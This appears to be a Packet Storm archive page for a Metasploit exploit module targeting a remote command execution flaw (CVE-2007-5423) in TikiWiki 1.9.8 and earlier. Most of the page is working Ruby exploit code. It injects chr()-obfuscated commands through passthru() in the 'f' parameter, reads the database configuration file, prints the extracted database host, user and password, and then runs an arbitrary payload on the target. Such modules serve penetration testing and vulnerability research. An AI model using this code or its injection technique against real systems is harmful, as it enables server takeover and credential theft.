what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TikiWiki tiki-graph_formula Remote Command Execution

TikiWiki tiki-graph_formula Remote Command Execution
Posted Oct 30, 2009
Authored by Matteo Cantoni

TikiWiki versions 1.9.8 and below contain a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP commands resulting in a loss of integrity.

tags | exploit, remote, arbitrary, php
advisories | CVE-2007-5423
SHA-256 | 2c4a8a6e81f67352e72024e2f545f7d1ae145048bf376afb7ae97d09bf473fe9

TikiWiki tiki-graph_formula Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TikiWiki tiki-graph_formula Remote Command Execution',
'Description' => %q{
TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary commands.
The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input
supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP
commands resulting in a loss of integrity.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-5423'],
['OSVDB', '40478'],
['BID', '26006'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 10 2007',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + "/tiki-index.php",
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body.match(/TikiWiki v1.|TikiWiki 1./))
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit

url_db_local = datastore['URI'] +
"/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." +
"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
"chr(59)." + "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" +
").die()&t=png&title="

print_status("Sending request...")

res = send_request_raw({
'uri' => url_db_local,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body)
print_status("The server returned : #{res.code} #{res.message}")
print_status("Server version : #{res.headers['Server']}")

db_tiki = res.body.match(/db_tiki='(.*?)';/m)
dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
host_tiki = res.body.match(/host_tiki='(.*?)';/m)
user_tiki = res.body.match(/user_tiki='(.*?)';/m)
pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)

print_status("TikiWiki database informations : \n")

print("db_tiki : " + db_tiki[1] + "\n")
print("dbversion : " + dbversion[1] + "\n")
print("host_tiki : " + host_tiki[1] + "\n")
print("user_tiki : " + user_tiki[1] + "\n")
print("pass_tiki : " + pass_tiki[1] + "\n")
print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
else
print_status("No response from the server")
end

command = Rex::Text.uri_encode(payload.encoded)
encoded = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"

url_cmd = datastore['URI'] + "/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." + encoded + ".chr(59)." +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" + ").die()&t=png&title="

print_status("Sending request...")

res = send_request_raw({
'uri' => url_cmd,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body)

print_status("The server returned : #{res.code} #{res.message}")
cmd_output = res.body.match(/YYY\n(.*)\nYYY/m)

if (cmd_output)
print_status("Command output from the server :")
print("\n" + cmd_output[1] + "\n\n")
else
print_status("This server may not be vulnerable")
end

else
print_status("No response from the server")
end
end

end

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close